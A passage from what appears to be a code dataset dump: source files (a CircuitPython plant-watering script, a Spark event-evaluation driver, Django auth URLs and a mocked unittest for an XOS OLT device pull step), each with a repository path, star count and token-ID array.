29889,
8382,
703,
20736,
29918,
333,
29901,
1273,
29879,
613,
851,
29898,
20736,
29918,
333,
876,
13,
12,
29907,
2477,
9606,
3366,
20736,
29918,
333,
3108,
353,
10804,
29918,
333,
13,
12,
5327,
353,
7882,
29889,
26897,
29898,
13,
12,
12,
20736,
29918,
333,
29892,
29871,
13,
12,
12,
7411,
29898,
29907,
2477,
9606,
29889,
657,
703,
14506,
613,
29871,
29900,
8243,
29871,
13,
12,
12,
29907,
2477,
9606,
29889,
657,
703,
26095,
613,
376,
16240,
29928,
1159,
13,
12,
29897,
13,
12,
2158,
29898,
5327,
29897,
29871,
13,
13,
12,
29937,
736,
4050,
29918,
6886,
703,
26897,
29889,
1420,
613,
1121,
29922,
5327,
29897,
13,
12,
21707,
29889,
8382,
29898,
5327,
29897,
13,
12,
29937,
5399,
14617,
358,
16034,
13,
12,
3198,
29918,
2914,
353,
7882,
29889,
3198,
29918,
27825,
29918,
4882,
29898,
20736,
29918,
333,
29897,
13,
12,
21707,
29889,
8382,
29898,
3198,
29918,
2914,
29897,
13,
12,
5327,
3366,
20736,
29918,
333,
3108,
353,
10804,
29918,
333,
13,
12,
5327,
3366,
27825,
5709,
5596,
11609,
3399,
3108,
353,
1423,
29918,
2914,
29889,
657,
703,
2457,
3399,
613,
6213,
29897,
13,
12,
5327,
3366,
27825,
5709,
5596,
11609,
3728,
3108,
353,
1423,
29918,
2914,
29889,
657,
703,
2457,
3728,
613,
6213,
29897,
13,
12,
29937,
14617,
358,
5953,
737,
13,
12,
27825,
29918,
14144,
353,
7882,
29889,
27825,
29918,
14144,
29898,
20736,
29918,
333,
29922,
20736,
29918,
333,
29897,
13,
12,
21707,
29889,
8382,
29898,
27825,
29918,
14144,
29897,
13,
12,
5327,
3366,
27825,
29918,
14144,
3108,
353,
19179,
29918,
14144,
13,
12,
2457,
4050,
29918,
6886,
703,
26897,
29889,
1420,
613,
1121,
29922,
5327,
29897,
13,
13,
13,
29992,
932,
29889,
13134,
11974,
999,
870,
613,
3519,
29922,
1839,
7194,
11287,
13,
1753,
5146,
29918,
999,
870,
7295,
13,
12,
20736,
29918,
333,
353,
938,
29898,
29907,
2477,
9606,
29889,
657,
703,
20736,
29918,
333,
613,
29871,
29900,
876,
13,
12,
29937,
1596,
29898,
20736,
29918,
333,
29897,
13,
12,
21707,
29889,
8382,
703,
20736,
29918,
333,
29901,
1273,
29879,
613,
851,
29898,
20736,
29918,
333,
876,
13,
12,
5327,
353,
7882,
29889,
999,
870,
29898,
20736,
29918,
333,
29897,
13,
12,
21707,
29889,
8382,
29898,
5327,
29897,
13,
12,
2158,
703,
4936,
2751,
29922,
999,
870,
2472,
1275,
9166,
26359,
29897,
13,
12,
2158,
29898,
5327,
29897,
13,
12,
2158,
703,
4936,
2751,
29922,
355,
1962,
4936,
2751,
543,
29897,
13,
12,
2457,
4050,
29918,
6886,
703,
999,
870,
29889,
1420,
613,
1121,
29922,
5327,
29897,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
623,
29889,
3389,
29898,
8382,
29922,
5574,
29892,
2011,
29922,
29947,
29900,
29897,
13,
2
] |
Bonsai_Buckaroo/code.py | gamblor21/Adafruit_Learning_System_Guides | 665 | 1611188 | <filename>Bonsai_Buckaroo/code.py
import time
import board
import digitalio
import analogio
from adafruit_clue import clue
# Turn off the NeoPixel
clue.pixel.fill(0)
# Motor setup
motor = digitalio.DigitalInOut(board.P2)
motor.direction = digitalio.Direction.OUTPUT
# Soil sense setup
analog = analogio.AnalogIn(board.P1)
def read_and_average(analog_in, times, wait):
analog_sum = 0
for _ in range(times):
analog_sum += analog_in.value
time.sleep(wait)
return analog_sum / times
clue_display = clue.simple_text_display(title=" CLUE Plant", title_scale=1, text_scale=3)
clue_display.show()
while True:
# Take 100 readings and average them
analog_value = read_and_average(analog, 100, 0.01)
# Calculate a percentage (analog_value ranges from 0 to 65535)
percentage = analog_value / 65535 * 100
# Display the percentage
clue_display[0].text = "Soil: {} %".format(int(percentage))
# Print the values to the serial console
print((analog_value, percentage))
if percentage < 50:
motor.value = True
clue_display[1].text = "Motor ON"
clue_display[1].color = (0, 255, 0)
time.sleep(0.5)
# always turn off quickly
motor.value = False
clue_display[1].text = "Motor OFF"
clue_display[1].color = (255, 0, 0)
| [
1,
529,
9507,
29958,
29933,
787,
1794,
29918,
29933,
2707,
279,
3634,
29914,
401,
29889,
2272,
13,
5215,
931,
13,
5215,
7613,
13,
5215,
13436,
601,
13,
5215,
15690,
601,
13,
3166,
594,
2142,
9216,
29918,
695,
434,
1053,
23960,
13,
13,
29937,
9603,
1283,
278,
2448,
29877,
29637,
13,
695,
434,
29889,
29886,
15711,
29889,
5589,
29898,
29900,
29897,
13,
13,
29937,
16843,
6230,
13,
14817,
272,
353,
13436,
601,
29889,
27103,
797,
3744,
29898,
3377,
29889,
29925,
29906,
29897,
13,
14817,
272,
29889,
20845,
353,
13436,
601,
29889,
21602,
29889,
12015,
12336,
13,
13,
29937,
1105,
309,
4060,
6230,
13,
7054,
468,
353,
15690,
601,
29889,
21067,
468,
797,
29898,
3377,
29889,
29925,
29896,
29897,
13,
13,
1753,
1303,
29918,
392,
29918,
12483,
482,
29898,
7054,
468,
29918,
262,
29892,
3064,
29892,
4480,
1125,
13,
1678,
15690,
29918,
2083,
353,
29871,
29900,
13,
1678,
363,
903,
297,
3464,
29898,
3706,
1125,
13,
4706,
15690,
29918,
2083,
4619,
15690,
29918,
262,
29889,
1767,
13,
4706,
931,
29889,
17059,
29898,
10685,
29897,
13,
1678,
736,
15690,
29918,
2083,
847,
3064,
13,
13,
695,
434,
29918,
4990,
353,
23960,
29889,
12857,
29918,
726,
29918,
4990,
29898,
3257,
543,
17332,
4462,
18058,
613,
3611,
29918,
7052,
29922,
29896,
29892,
1426,
29918,
7052,
29922,
29941,
29897,
13,
695,
434,
29918,
4990,
29889,
4294,
580,
13,
13,
8000,
5852,
29901,
13,
1678,
396,
11190,
29871,
29896,
29900,
29900,
1303,
886,
322,
6588,
963,
13,
1678,
15690,
29918,
1767,
353,
1303,
29918,
392,
29918,
12483,
482,
29898,
7054,
468,
29892,
29871,
29896,
29900,
29900,
29892,
29871,
29900,
29889,
29900,
29896,
29897,
13,
1678,
396,
20535,
403,
263,
19649,
313,
7054,
468,
29918,
1767,
20238,
515,
29871,
29900,
304,
29871,
29953,
29945,
29945,
29941,
29945,
29897,
13,
1678,
19649,
353,
15690,
29918,
1767,
847,
29871,
29953,
29945,
29945,
29941,
29945,
334,
29871,
29896,
29900,
29900,
13,
1678,
396,
17440,
278,
19649,
13,
1678,
23960,
29918,
4990,
29961,
29900,
1822,
726,
353,
376,
6295,
309,
29901,
6571,
1273,
1642,
4830,
29898,
524,
29898,
25376,
482,
876,
13,
1678,
396,
13905,
278,
1819,
304,
278,
7797,
2991,
13,
1678,
1596,
3552,
7054,
468,
29918,
1767,
29892,
19649,
876,
13,
13,
1678,
565,
19649,
529,
29871,
29945,
29900,
29901,
13,
4706,
10992,
29889,
1767,
353,
5852,
13,
4706,
23960,
29918,
4990,
29961,
29896,
1822,
726,
353,
376,
29924,
327,
272,
6732,
29908,
13,
4706,
23960,
29918,
4990,
29961,
29896,
1822,
2780,
353,
313,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
29897,
13,
4706,
931,
29889,
17059,
29898,
29900,
29889,
29945,
29897,
13,
13,
1678,
396,
2337,
2507,
1283,
9098,
13,
1678,
10992,
29889,
1767,
353,
7700,
13,
1678,
23960,
29918,
4990,
29961,
29896,
1822,
726,
353,
376,
29924,
327,
272,
438,
4198,
29908,
13,
1678,
23960,
29918,
4990,
29961,
29896,
1822,
2780,
353,
313,
29906,
29945,
29945,
29892,
29871,
29900,
29892,
29871,
29900,
29897,
13,
2
] |
magichour/api/dist/sample/driver_EventEval.py | Lab41/magichour | 34 | 170755 | sc.addPyFile('magichour.zip')
from magichour.api.dist.events.eventEval import event_eval_rdd
from magichour.api.local.util.namedtuples import DistributedLogLine
logLineURI = 'hdfs://namenode/magichour/tbird.500.templateEvalRDD'
rddlogLines = sc.pickleFile(logLineURI)
eventDefURI = 'hdfs://namenode/magichour/tbird.500.eventsRDD'
eventDefs = sc.pickleFile(eventDefURI).collect()
windowSeconds = 500
test = event_eval_rdd(sc, rddlogLines, eventDefs, windowSeconds)
test.collect()
| [
1,
885,
29889,
1202,
19737,
2283,
877,
11082,
436,
473,
29889,
7554,
1495,
13,
3166,
2320,
436,
473,
29889,
2754,
29889,
5721,
29889,
13604,
29889,
3696,
29923,
791,
1053,
1741,
29918,
14513,
29918,
29878,
1289,
13,
3166,
2320,
436,
473,
29889,
2754,
29889,
2997,
29889,
4422,
29889,
17514,
9161,
2701,
1053,
6652,
7541,
3403,
3542,
13,
13,
13,
1188,
3542,
15551,
353,
525,
29882,
29069,
597,
29876,
5071,
356,
29914,
11082,
436,
473,
29914,
29873,
18513,
29889,
29945,
29900,
29900,
29889,
6886,
29923,
791,
29934,
7858,
29915,
13,
29878,
1289,
1188,
20261,
353,
885,
29889,
23945,
280,
2283,
29898,
1188,
3542,
15551,
29897,
13,
13,
13,
3696,
3206,
15551,
353,
525,
29882,
29069,
597,
29876,
5071,
356,
29914,
11082,
436,
473,
29914,
29873,
18513,
29889,
29945,
29900,
29900,
29889,
13604,
29934,
7858,
29915,
13,
3696,
3206,
29879,
353,
885,
29889,
23945,
280,
2283,
29898,
3696,
3206,
15551,
467,
15914,
580,
13,
7165,
27535,
353,
29871,
29945,
29900,
29900,
13,
1688,
353,
1741,
29918,
14513,
29918,
29878,
1289,
29898,
1557,
29892,
364,
1289,
1188,
20261,
29892,
1741,
3206,
29879,
29892,
3474,
27535,
29897,
13,
13,
1688,
29889,
15914,
580,
13,
2
] |
AcademicDealerBackend/accounts/urls.py | Acciente717/AcademicDealerBackend | 5 | 128597 | <reponame>Acciente717/AcademicDealerBackend<gh_stars>1-10
from django.urls import include, path
from django.contrib.auth import views as auth_views
from django.urls import reverse_lazy
from . import views
urlpatterns = [
path('', include('django.contrib.auth.urls')),
path('signup/', views.SignUp.as_view(), name='signup'),
]
| [
1,
529,
276,
1112,
420,
29958,
10644,
27381,
29955,
29896,
29955,
29914,
29909,
9431,
293,
2772,
18362,
5841,
355,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
3166,
9557,
29889,
26045,
1053,
3160,
29892,
2224,
13,
3166,
9557,
29889,
21570,
29889,
5150,
1053,
8386,
408,
4817,
29918,
7406,
13,
3166,
9557,
29889,
26045,
1053,
11837,
29918,
433,
1537,
13,
13,
3166,
869,
1053,
8386,
13,
13,
2271,
11037,
29879,
353,
518,
13,
1678,
2224,
877,
742,
3160,
877,
14095,
29889,
21570,
29889,
5150,
29889,
26045,
1495,
511,
268,
13,
1678,
2224,
877,
4530,
786,
29914,
742,
8386,
29889,
10140,
3373,
29889,
294,
29918,
1493,
3285,
1024,
2433,
4530,
786,
5477,
13,
29962,
13,
2
] |
xos/synchronizer/pull_steps/test_pull_olts.py | iecedge/olt-service | 0 | 23962 | # Copyright 2017-present Open Networking Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
from mock import patch, call, Mock, PropertyMock
import requests_mock
import os, sys
test_path=os.path.abspath(os.path.dirname(os.path.realpath(__file__)))
class TestSyncOLTDevice(unittest.TestCase):
def setUp(self):
global DeferredException
self.sys_path_save = sys.path
# Setting up the config module
from xosconfig import Config
config = os.path.join(test_path, "../test_config.yaml")
Config.clear()
Config.init(config, "synchronizer-config-schema.yaml")
# END Setting up the config module
from xossynchronizer.mock_modelaccessor_build import mock_modelaccessor_config
mock_modelaccessor_config(test_path, [("olt-service", "volt.xproto"),
("vsg", "vsg.xproto"),
("rcord", "rcord.xproto"),])
import xossynchronizer.modelaccessor
reload(xossynchronizer.modelaccessor) # in case nose2 loaded it in a previous test
from xossynchronizer.modelaccessor import model_accessor
self.model_accessor = model_accessor
from pull_olts import OLTDevicePullStep
# import all class names to globals
for (k, v) in model_accessor.all_model_classes.items():
globals()[k] = v
self.sync_step = OLTDevicePullStep
# mock volt service
self.volt_service = Mock()
self.volt_service.id = "volt_service_id"
self.volt_service.voltha_url = "voltha_url"
self.volt_service.voltha_user = "voltha_user"
self.volt_service.voltha_pass = "<PASSWORD>"
self.volt_service.voltha_port = 1234
# mock voltha responses
self.devices = {
"items": [
{
"id": "test_id",
"type": "simulated_olt",
"host_and_port": "172.17.0.1:50060",
"admin_state": "ENABLED",
"oper_status": "ACTIVE",
"serial_number": "serial_number",
}
]
}
self.logical_devices = {
"items": [
{
"root_device_id": "test_id",
"id": "of_id",
"datapath_id": "55334486016"
}
]
}
self.ports = {
"items": [
{
"label": "PON port",
"port_no": 1,
"type": "PON_OLT",
"admin_state": "ENABLED",
"oper_status": "ACTIVE"
},
{
"label": "NNI facing Ethernet port",
"port_no": 2,
"type": "ETHERNET_NNI",
"admin_state": "ENABLED",
"oper_status": "ACTIVE"
}
]
}
def tearDown(self):
sys.path = self.sys_path_save
@requests_mock.Mocker()
def test_missing_volt_service(self, m):
self.assertFalse(m.called)
@requests_mock.Mocker()
def test_pull(self, m):
with patch.object(VOLTService.objects, "all") as olt_service_mock, \
patch.object(OLTDevice, "save") as mock_olt_save, \
patch.object(PONPort, "save") as mock_pon_save, \
patch.object(NNIPort, "save") as mock_nni_save:
olt_service_mock.return_value = [self.volt_service]
m.get("http://voltha_url:1234/api/v1/devices", status_code=200, json=self.devices)
m.get("http://voltha_url:1234/api/v1/devices/test_id/ports", status_code=200, json=self.ports)
m.get("http://voltha_url:1234/api/v1/logical_devices", status_code=200, json=self.logical_devices)
self.sync_step(model_accessor=self.model_accessor).pull_records()
# TODO how to asster this?
# self.assertEqual(existing_olt.admin_state, "ENABLED")
# self.assertEqual(existing_olt.oper_status, "ACTIVE")
# self.assertEqual(existing_olt.volt_service_id, "volt_service_id")
# self.assertEqual(existing_olt.device_id, "test_id")
# self.assertEqual(existing_olt.of_id, "of_id")
# self.assertEqual(existing_olt.dp_id, "of:0000000ce2314000")
mock_olt_save.assert_called()
mock_pon_save.assert_called()
mock_nni_save.assert_called()
@requests_mock.Mocker()
def test_pull_existing(self, m):
existing_olt = Mock()
existing_olt.admin_state = "ENABLED"
existing_olt.enacted = 2
existing_olt.updated = 1
with patch.object(VOLTService.objects, "all") as olt_service_mock, \
patch.object(OLTDevice.objects, "filter") as mock_get, \
patch.object(PONPort, "save") as mock_pon_save, \
patch.object(NNIPort, "save") as mock_nni_save, \
patch.object(existing_olt, "save") as mock_olt_save:
olt_service_mock.return_value = [self.volt_service]
mock_get.return_value = [existing_olt]
m.get("http://voltha_url:1234/api/v1/devices", status_code=200, json=self.devices)
m.get("http://voltha_url:1234/api/v1/devices/test_id/ports", status_code=200, json=self.ports)
m.get("http://voltha_url:1234/api/v1/logical_devices", status_code=200, json=self.logical_devices)
self.sync_step(model_accessor=self.model_accessor).pull_records()
self.assertEqual(existing_olt.admin_state, "ENABLED")
self.assertEqual(existing_olt.oper_status, "ACTIVE")
self.assertEqual(existing_olt.volt_service_id, "volt_service_id")
self.assertEqual(existing_olt.device_id, "test_id")
self.assertEqual(existing_olt.of_id, "of_id")
self.assertEqual(existing_olt.dp_id, "of:0000000ce2314000")
mock_olt_save.assert_called()
mock_pon_save.assert_called()
mock_nni_save.assert_called()
@requests_mock.Mocker()
def test_pull_existing_do_not_sync(self, m):
existing_olt = Mock()
existing_olt.enacted = 1
existing_olt.updated = 2
existing_olt.device_id = "test_id"
with patch.object(VOLTService.objects, "all") as olt_service_mock, \
patch.object(OLTDevice.objects, "filter") as mock_get, \
patch.object(PONPort, "save") as mock_pon_save, \
patch.object(NNIPort, "save") as mock_nni_save, \
patch.object(existing_olt, "save") as mock_olt_save:
olt_service_mock.return_value = [self.volt_service]
mock_get.return_value = [existing_olt]
m.get("http://voltha_url:1234/api/v1/devices", status_code=200, json=self.devices)
m.get("http://voltha_url:1234/api/v1/devices/test_id/ports", status_code=200, json=self.ports)
m.get("http://voltha_url:1234/api/v1/logical_devices", status_code=200, json=self.logical_devices)
self.sync_step(model_accessor=self.model_accessor).pull_records()
mock_olt_save.assert_not_called()
mock_pon_save.assert_called()
mock_nni_save.assert_called()
@requests_mock.Mocker()
def test_pull_deleted_object(self, m):
existing_olt = Mock()
existing_olt.enacted = 2
existing_olt.updated = 1
existing_olt.device_id = "test_id"
m.get("http://voltha_url:1234/api/v1/devices", status_code=200, json={"items": []})
with patch.object(VOLTService.objects, "all") as olt_service_mock, \
patch.object(OLTDevice.objects, "get_items") as mock_get, \
patch.object(existing_olt, "delete") as mock_olt_delete:
olt_service_mock.return_value = [self.volt_service]
mock_get.return_value = [existing_olt]
self.sync_step(model_accessor=self.model_accessor).pull_records()
mock_olt_delete.assert_called()
if __name__ == "__main__":
unittest.main() | [
1,
396,
14187,
1266,
29871,
29906,
29900,
29896,
29955,
29899,
6338,
4673,
8527,
292,
10606,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
13,
5215,
443,
27958,
13,
3166,
11187,
1053,
13261,
29892,
1246,
29892,
26297,
29892,
9079,
18680,
13,
5215,
7274,
29918,
17640,
13,
13,
5215,
2897,
29892,
10876,
13,
13,
1688,
29918,
2084,
29922,
359,
29889,
2084,
29889,
370,
1028,
493,
29898,
359,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
6370,
2084,
22168,
1445,
1649,
4961,
13,
13,
1990,
4321,
21077,
5607,
29911,
11501,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
5534,
897,
14373,
2451,
13,
13,
4706,
1583,
29889,
9675,
29918,
2084,
29918,
7620,
353,
10876,
29889,
2084,
13,
13,
4706,
396,
21605,
701,
278,
2295,
3883,
13,
4706,
515,
921,
359,
2917,
1053,
12782,
13,
4706,
2295,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1688,
29918,
2084,
29892,
376,
6995,
1688,
29918,
2917,
29889,
25162,
1159,
13,
4706,
12782,
29889,
8551,
580,
13,
4706,
12782,
29889,
2344,
29898,
2917,
29892,
376,
29879,
9524,
3950,
29899,
2917,
29899,
11010,
29889,
25162,
1159,
13,
4706,
396,
11056,
21605,
701,
278,
2295,
3883,
13,
13,
4706,
515,
921,
2209,
9524,
3950,
29889,
17640,
29918,
4299,
5943,
272,
29918,
4282,
1053,
11187,
29918,
4299,
5943,
272,
29918,
2917,
13,
4706,
11187,
29918,
4299,
5943,
272,
29918,
2917,
29898,
1688,
29918,
2084,
29892,
518,
703,
14339,
29899,
5509,
613,
376,
1555,
29873,
29889,
29916,
17529,
4968,
13,
462,
462,
18884,
4852,
4270,
29887,
613,
376,
4270,
29887,
29889,
29916,
17529,
4968,
13,
462,
462,
18884,
4852,
2214,
536,
613,
376,
2214,
536,
29889,
29916,
17529,
4968,
2314,
13,
13,
4706,
1053,
921,
2209,
9524,
3950,
29889,
4299,
5943,
272,
13,
4706,
19763,
29898,
29916,
2209,
9524,
3950,
29889,
4299,
5943,
272,
29897,
418,
396,
297,
1206,
26414,
29906,
7500,
372,
297,
263,
3517,
1243,
13,
13,
4706,
515,
921,
2209,
9524,
3950,
29889,
4299,
5943,
272,
1053,
1904,
29918,
5943,
272,
13,
4706,
1583,
29889,
4299,
29918,
5943,
272,
353,
1904,
29918,
5943,
272,
13,
13,
4706,
515,
8206,
29918,
324,
1372,
1053,
438,
5850,
11501,
29925,
913,
14448,
13,
13,
4706,
396,
1053,
599,
770,
2983,
304,
13149,
1338,
13,
4706,
363,
313,
29895,
29892,
325,
29897,
297,
1904,
29918,
5943,
272,
29889,
497,
29918,
4299,
29918,
13203,
29889,
7076,
7295,
13,
9651,
13149,
1338,
580,
29961,
29895,
29962,
353,
325,
13,
13,
4706,
1583,
29889,
16593,
29918,
10568,
353,
438,
5850,
11501,
29925,
913,
14448,
13,
13,
4706,
396,
11187,
5583,
2669,
13,
4706,
1583,
29889,
1555,
29873,
29918,
5509,
353,
26297,
580,
13,
4706,
1583,
29889,
1555,
29873,
29918,
5509,
29889,
333,
353,
376,
1555,
29873,
29918,
5509,
29918,
333,
29908,
13,
4706,
1583,
29889,
1555,
29873,
29918,
5509,
29889,
1555,
15457,
29918,
2271,
353,
376,
1555,
15457,
29918,
2271,
29908,
13,
4706,
1583,
29889,
1555,
29873,
29918,
5509,
29889,
1555,
15457,
29918,
1792,
353,
376,
1555,
15457,
29918,
1792,
29908,
13,
4706,
1583,
29889,
1555,
29873,
29918,
5509,
29889,
1555,
15457,
29918,
3364,
353,
9872,
25711,
17013,
11903,
13,
4706,
1583,
29889,
1555,
29873,
29918,
5509,
29889,
1555,
15457,
29918,
637,
353,
29871,
29896,
29906,
29941,
29946,
13,
13,
4706,
396,
11187,
1700,
15457,
20890,
13,
4706,
1583,
29889,
3359,
1575,
353,
426,
13,
9651,
376,
7076,
1115,
518,
13,
18884,
426,
13,
462,
1678,
376,
333,
1115,
376,
1688,
29918,
333,
613,
13,
462,
1678,
376,
1853,
1115,
376,
3601,
7964,
29918,
14339,
613,
13,
462,
1678,
376,
3069,
29918,
392,
29918,
637,
1115,
376,
29896,
29955,
29906,
29889,
29896,
29955,
29889,
29900,
29889,
29896,
29901,
29945,
29900,
29900,
29953,
29900,
613,
13,
462,
1678,
376,
6406,
29918,
3859,
1115,
376,
1430,
6181,
29928,
613,
13,
462,
1678,
376,
3372,
29918,
4882,
1115,
376,
17923,
18474,
613,
13,
462,
1678,
376,
15550,
29918,
4537,
1115,
376,
15550,
29918,
4537,
613,
13,
18884,
500,
13,
9651,
4514,
13,
4706,
500,
13,
13,
4706,
1583,
29889,
1188,
936,
29918,
3359,
1575,
353,
426,
13,
9651,
376,
7076,
1115,
518,
13,
18884,
426,
13,
462,
1678,
376,
4632,
29918,
10141,
29918,
333,
1115,
376,
1688,
29918,
333,
613,
13,
462,
1678,
376,
333,
1115,
376,
974,
29918,
333,
613,
13,
462,
1678,
376,
4130,
481,
493,
29918,
333,
1115,
376,
29945,
29945,
29941,
29941,
29946,
29946,
29947,
29953,
29900,
29896,
29953,
29908,
13,
18884,
500,
13,
9651,
4514,
13,
4706,
500,
13,
13,
4706,
1583,
29889,
4011,
353,
426,
13,
9651,
376,
7076,
1115,
518,
13,
18884,
426,
13,
462,
1678,
376,
1643,
1115,
376,
29925,
1164,
2011,
613,
13,
462,
1678,
376,
637,
29918,
1217,
1115,
29871,
29896,
29892,
13,
462,
1678,
376,
1853,
1115,
376,
29925,
1164,
29918,
5607,
29911,
613,
13,
462,
1678,
376,
6406,
29918,
3859,
1115,
376,
1430,
6181,
29928,
613,
13,
462,
1678,
376,
3372,
29918,
4882,
1115,
376,
17923,
18474,
29908,
13,
18884,
2981,
13,
18884,
426,
13,
462,
1678,
376,
1643,
1115,
376,
10262,
29902,
14870,
382,
721,
1212,
2011,
613,
13,
462,
1678,
376,
637,
29918,
1217,
1115,
29871,
29906,
29892,
13,
462,
1678,
376,
1853,
1115,
376,
2544,
4448,
6006,
29918,
10262,
29902,
613,
13,
462,
1678,
376,
6406,
29918,
3859,
1115,
376,
1430,
6181,
29928,
613,
13,
462,
1678,
376,
3372,
29918,
4882,
1115,
376,
17923,
18474,
29908,
13,
18884,
500,
13,
9651,
4514,
13,
4706,
500,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
10876,
29889,
2084,
353,
1583,
29889,
9675,
29918,
2084,
29918,
7620,
13,
13,
1678,
732,
24830,
29918,
17640,
29889,
29924,
8658,
580,
13,
1678,
822,
1243,
29918,
27259,
29918,
1555,
29873,
29918,
5509,
29898,
1311,
29892,
286,
1125,
13,
9651,
1583,
29889,
9294,
8824,
29898,
29885,
29889,
13998,
29897,
13,
13,
1678,
732,
24830,
29918,
17640,
29889,
29924,
8658,
580,
13,
1678,
822,
1243,
29918,
26746,
29898,
1311,
29892,
286,
1125,
13,
13,
4706,
411,
13261,
29889,
3318,
29898,
29963,
5607,
29911,
3170,
29889,
12650,
29892,
376,
497,
1159,
408,
288,
1896,
29918,
5509,
29918,
17640,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
5607,
29911,
11501,
29892,
376,
7620,
1159,
408,
11187,
29918,
14339,
29918,
7620,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
29925,
1164,
2290,
29892,
376,
7620,
1159,
408,
11187,
29918,
1112,
29918,
7620,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
10262,
29902,
2290,
29892,
376,
7620,
1159,
408,
11187,
29918,
29876,
1240,
29918,
7620,
29901,
13,
9651,
288,
1896,
29918,
5509,
29918,
17640,
29889,
2457,
29918,
1767,
353,
518,
1311,
29889,
1555,
29873,
29918,
5509,
29962,
13,
13,
9651,
286,
29889,
657,
703,
1124,
597,
1555,
15457,
29918,
2271,
29901,
29896,
29906,
29941,
29946,
29914,
2754,
29914,
29894,
29896,
29914,
3359,
1575,
613,
4660,
29918,
401,
29922,
29906,
29900,
29900,
29892,
4390,
29922,
1311,
29889,
3359,
1575,
29897,
13,
9651,
286,
29889,
657,
703,
1124,
597,
1555,
15457,
29918,
2271,
29901,
29896,
29906,
29941,
29946,
29914,
2754,
29914,
29894,
29896,
29914,
3359,
1575,
29914,
1688,
29918,
333,
29914,
4011,
613,
4660,
29918,
401,
29922,
29906,
29900,
29900,
29892,
4390,
29922,
1311,
29889,
4011,
29897,
13,
9651,
286,
29889,
657,
703,
1124,
597,
1555,
15457,
29918,
2271,
29901,
29896,
29906,
29941,
29946,
29914,
2754,
29914,
29894,
29896,
29914,
1188,
936,
29918,
3359,
1575,
613,
4660,
29918,
401,
29922,
29906,
29900,
29900,
29892,
4390,
29922,
1311,
29889,
1188,
936,
29918,
3359,
1575,
29897,
13,
13,
9651,
1583,
29889,
16593,
29918,
10568,
29898,
4299,
29918,
5943,
272,
29922,
1311,
29889,
4299,
29918,
5943,
272,
467,
26746,
29918,
3757,
4339,
580,
13,
13,
9651,
396,
14402,
920,
304,
408,
2475,
445,
29973,
13,
9651,
396,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
6406,
29918,
3859,
29892,
376,
1430,
6181,
29928,
1159,
13,
9651,
396,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
3372,
29918,
4882,
29892,
376,
17923,
18474,
1159,
13,
9651,
396,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
1555,
29873,
29918,
5509,
29918,
333,
29892,
376,
1555,
29873,
29918,
5509,
29918,
333,
1159,
13,
9651,
396,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
10141,
29918,
333,
29892,
376,
1688,
29918,
333,
1159,
13,
9651,
396,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
974,
29918,
333,
29892,
376,
974,
29918,
333,
1159,
13,
9651,
396,
1583,
29889,
9294,
9843,
29898,
735,
15423,
29918,
14339,
29889,
6099,
29918,
333,
29892,
376,
974,
29901,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
346,
29906,
29941,
29896,
29946,
29900,
29900,
29900,
1159,
13,
13,
9651,
11187,
29918,
14339,
29918,
7620,
29889,
9294,
29918,
13998,
580,
13,
9651,
11187,
29918,
1112,
29918,
7620,
29889,
9294,
29918,
13998,
580,
13,
9651,
11187,
29918,
29876,
1240,
29918,
7620,
29889,
9294,
29918,
13998,
580,
13,
13,
1678,
732,
24830,
29918,
17640,
29889,
29924,
8658,
580,
13,
1678,
822,
1243,
29918,
26746,
29918,
735,
15423,
29898,
1311,
29892,
286,
1125,
13,
13,
4706,
5923,
29918,
14339,
353,
26297,
580,
13,
4706,
5923,
29918,
14339,
29889,
6406,
29918,
3859,
353,
376,
1430,
6181,
29928,
29908,
13,
4706,
5923,
29918,
14339,
29889,
264,
627,
287,
353,
29871,
29906,
13,
4706,
5923,
29918,
14339,
29889,
21402,
353,
29871,
29896,
13,
13,
4706,
411,
13261,
29889,
3318,
29898,
29963,
5607,
29911,
3170,
29889,
12650,
29892,
376,
497,
1159,
408,
288,
1896,
29918,
5509,
29918,
17640,
29892,
320,
13,
18884,
13261,
29889,
3318,
29898,
5607,
29911,
11501,
29889,
12650,
